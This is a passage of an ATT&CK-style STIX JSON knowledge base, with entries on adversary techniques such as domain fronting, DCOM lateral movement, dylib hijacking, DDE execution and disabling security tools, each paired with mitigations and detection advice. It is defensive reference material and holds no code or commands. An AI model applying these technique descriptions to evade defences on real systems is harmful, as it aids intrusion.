                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:58.938Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Transfer Size Limits Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1030",
                    "external_id": "T1030"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:34.523Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Transfer Size Limits",
            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
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                },
                {
                    "source_name": "NSA MS AppLocker",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                "macOS",
                "Windows"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                {
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1140",
                    "external_id": "T1140"
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                {
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
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                "Process Monitoring",
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "id": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Disabling Security Tools Mitigation",
            "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1089",
                    "external_id": "T1089"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
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            "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:07.958Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Disabling Security Tools",
            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
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                "Anti-virus",
                "File monitoring",
                "Services",
                "Windows Registry",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
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                "File monitoring",
                "Host intrusion prevention systems",
                "Signature-based detection",
                "Log analysis"
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Distributed Component Object Model Mitigation",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
                    "external_id": "T1175"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft Disable DCOM",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
                },
                {
                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Distributed Component Object Model",
            "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
                    "external_id": "T1175"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Authentication logs",
                "DLL monitoring",
                "Packet capture",
                "Process monitoring",
                "Windows Registry",
                "Windows event logs"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Domain Fronting Mitigation",
            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
                    "external_id": "T1172"
                },
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                },
                {
                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29%20domain%20frontin.html"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Domain Fronting",
            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection\n\nRequires Network: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
                    "external_id": "T1172"
                },
                {
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "SSL/TLS inspection"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Dylib Hijacking Mitigation",
            "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1157",
                    "external_id": "T1157"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Dylib Hijacking",
            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1157",
                    "external_id": "T1157"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "root"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Dynamic Data Exchange Mitigation",
            "description": "Ensure Protected View is enabled. (Citation: Microsoft Protected View)\n\nRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
                    "external_id": "T1173"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
                },
                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Dynamic Data Exchange",
            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default). (Citation: BleepingComputer DDE Disabled in Word Dec 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014) and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
                    "external_id": "T1173"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
